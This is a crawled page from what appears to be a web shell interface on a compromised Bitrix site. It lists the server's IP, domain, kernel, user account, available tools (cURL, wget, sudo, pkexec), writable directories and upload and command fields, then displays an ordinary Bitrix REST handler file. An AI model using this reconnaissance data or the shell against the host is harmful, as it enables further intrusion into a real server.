403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/rest/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/rest/handlers.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2018 Bitrix
 */
namespace Bitrix\Main\Rest;

use Bitrix\Main\UserConsent;

class Handlers
{
	const SCOPE_USER = 'user';
	const SCOPE_USER_CONSENT = 'userconsent';
	const SCOPE_RATING = 'rating';
	const SCOPE_SMILE = 'smile';
	const SCOPE_USER_FIELD_CONFIG = 'userfieldconfig';

	public static function onRestServiceBuildDescription()
	{
		return array(
			static::SCOPE_USER => array(
				'user.history.list' => array(User::class, 'getHistoryList'),
				'user.history.fields.list' => array(User::class, 'getHistoryFieldsList'),
			),
			static::SCOPE_USER_CONSENT => array(
				'userconsent.consent.add' => array(UserConsent\Rest::class, 'addConsent'),
				'userconsent.agreement.list' => array(UserConsent\Rest::class, 'getAgreementList'),
				'userconsent.agreement.text' => array(UserConsent\Rest::class, 'getAgreementText'),
			),
			static::SCOPE_RATING => array(
				'like.list' => array(Rating::class, 'getLikeList'),
				'like.reactions' => array(Rating::class, 'getLikeReactions'),
			),
			static::SCOPE_SMILE => array(
				'smile.get' => array(Smile::class, 'getList'),
			),
			static::SCOPE_USER_FIELD_CONFIG => array(
				\CRestUtil::EVENTS => UserField::getHandlers(),
			)
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit